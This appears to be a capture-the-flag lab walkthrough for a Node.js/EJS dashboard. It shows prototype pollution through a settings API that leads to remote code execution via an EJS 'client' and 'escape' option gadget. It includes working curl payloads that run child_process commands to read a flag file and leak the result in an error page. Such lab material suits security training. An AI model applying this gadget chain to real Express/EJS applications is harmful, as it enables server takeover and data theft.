Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS
Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ejs_client_escape_gadget_chain, error_based_data_exfiltration, honeypot_flag_identification, prototype_pollution_via_deepmerge, read_only_filesystem_bypass
Summary
Walkthrough of the CUSTOM Web Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS. Task: PulseBoard analytics dashboard with PUT /api/settings endpoint that deep-merges user JSON into config without filtering proto, running EJS >= 3.1.7 where classic outputFunctionName gadget is
Description
PulseBoard is a team analytics dashboard built by PulseMetrics Inc. It helps engineering teams track productivity metrics like commits, code reviews, sprint velocity, and task completion in real time. The platform allows workspace administrators to customize their environment through a settings panel — configuring timezone, sprint length, notifications, and other workspace preferences. The settings API accepts JSON payloads for flexible configuration management. Your objective is to explore the application, understand how configuration data flows through the server, and find a way to execute arbitrary code on the backend.
Credentials: user@pulseboard.io / pulseboard2024
English summary: An Express.js application (PulseBoard v2.4.1) using EJS templates behind nginx/1.25.5. The workspace settings API (PUT /api/settings) accepts arbitrary JSON and deep-merges it into the server config object using an unsafe deepMerge function that does not filter __proto__. The goal is to achieve RCE and read the flag file. Every page contains decoy honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated scanners.
Analysis
Reconnaissance
After logging in with user@pulseboard.io / pulseboard2024 via POST /login, the application exposes:
/dashboard,/reports,/team— EJS-rendered pages/settings/workspace— settings panel with "Advanced Configuration" for JSON import/exportGET /api/settings— returns current workspace config as JSONPUT /api/settings— accepts JSON body, deep-merges into config object
The JavaScript at /js/settings.js reveals the applyRawConfig() function that sends arbitrary JSON to PUT /api/settings.
Error traces reveal a deepMerge function at /app/server.js:43 that recursively merges user-supplied JSON into the config object without filtering dangerous keys (__proto__, constructor, prototype).
Confirming Prototype Pollution
bash read-only • copy allowedcurl -s -b "$COOKIE" -X PUT "$URL/api/settings" \ -H "Content-Type: application/json" \ -d '{"__proto__":{"polluted":"yes"}}' # Response: {"success":true,"config":{...}} # Subsequent responses show "polluted":"yes" — confirming pollution
EJS >= 3.1.7 — Classic Gadgets Blocked
The classic EJS RCE gadget outputFunctionName (CVE-2022-29078) was tested:
bash read-only • copy allowedcurl -s -b "$COOKIE" -X PUT "$URL/api/settings" \ -H "Content-Type: application/json" \ -d '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\"child_process\").execSync(\"id\");var z"}}'
Result: Error: outputFunctionName is not a valid JS identifier.
EJS >= 3.1.7 validates outputFunctionName, localsName, and destructuredLocals entries against /^[a-zA-Z_$][0-9a-zA-Z_$]*$/. All three classic injection points are blocked.
Discovering the client + escape Gadget Chain
By analyzing the EJS v3.1.9 source code, a new unpatched gadget chain was identified in the compile() function:
EJS source (ejs.js lines 636-641):
javascript read-only • copy allowedif (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; // ... }
When opts.client is true, EJS prepends escapeFn.toString() directly into the compiled template source. The escapeFn value comes from opts.escapeFunction, which is set from opts.escape (line 519):
javascript read-only • copy allowedoptions.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
Critical insight: In Express's ejs.renderFile(), the opts object is created as {filename: filename} — a plain object inheriting from Object.prototype. Polluted prototype properties like client and escape are inherited by opts and passed to the EJS Template constructor. Unlike outputFunctionName/localsName, the escape and client options are NOT validated as JS identifiers.
Constraints
- Nested objects cause stack overflow: Polluting with
{"__proto__":{"env":{...}}}or{"constructor":{"prototype":{...}}}causes infinite recursion indeepMerge— it recurses into the constructor chain - Read-only filesystem (EROFS): Cannot write files to
/app/public/for exfiltration client=truebreaksinclude(): Whenclient=true, EJS returns the raw compiled function without the wrapper that definesinclude(). Templates using<%- include('partials/header', ...) %>crash with "include is not a function"- One-shot pollution: Once prototype is polluted with bad values, subsequent requests may break
Solution
The attack chain exploits two unvalidated EJS options via prototype pollution:
Object.prototype.client = true— activates the code path that injectsescapeFn.toString()into compiled template sourceObject.prototype.escape = "(() => { RCE_CODE })()//"— this string becomesescapeFn, and.toString()returns the string itself, which gets injected as executable JavaScript
The compiled template becomes:
javascript read-only • copy allowedescapeFn = escapeFn || (() => { RCE_CODE })()//; // ... rest of template ...
The // at the end comments out the trailing semicolon and any remaining code on that line.
Since client=true breaks include() and the filesystem is read-only, the flag is exfiltrated by throwing an Error — the error message appears in Express's error page.
Step 1: Pollute client to true
bash read-only • copy allowedcurl -s -b "$COOKIE" -X PUT "$URL/api/settings" \ -H "Content-Type: application/json" \ -d '{"__proto__":{"client":true}}'
Step 2: Pollute escape with RCE payload
bash read-only • copy allowedcurl -s -b "$COOKIE" -X PUT "$URL/api/settings" \ -H "Content-Type: application/json" \ -d '{"__proto__":{"escape":"(() => { var r = process.mainModule.require; var cp = r(\"child_process\"); var flag = cp.execSync(\"cat /flag*\").toString(); throw new Error(\"FLAG_OUTPUT:\" + flag); })()//"}}'
Step 3: Trigger EJS template render
bash read-only • copy allowedcurl -s -b "$COOKIE" "$URL/dashboard"
Response contains:
Error: FLAG_OUTPUT:FLAG{REDACTED}
Why Error-Based Exfiltration
client=truebreaks templates: The raw functionfnis returned without the wrapper that definesinclude(), so any template usinginclude()crashes- Read-only filesystem: Writing to
/app/public/out.txtfails with EROFS - Error as channel: Throwing an Error with the flag content is the cleanest method — Express catches it and displays the error message in the response
Failed Approaches
outputFunctionNameinjection — blocked by JS identifier validation (EJS >= 3.1.7)localsNameinjection — same validationdestructuredLocalsinjection — same validationconstructor.prototypepollution — causes stack overflow in deepMerge (recurses into constructor chain)view optionsnested object — same stack overflow issue- Writing flag to
/app/public/out.txt— read-only filesystem (EROFS) - Normal page render —
client=truebreaksinclude()function
Key Takeaways / Lessons
- Mastering ejs_client_escape_gadget_chain, error_based_data_exfiltration, honeypot_flag_identification, prototype_pollution_via_deepmerge, read_only_filesystem_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS • Difficulty: Medium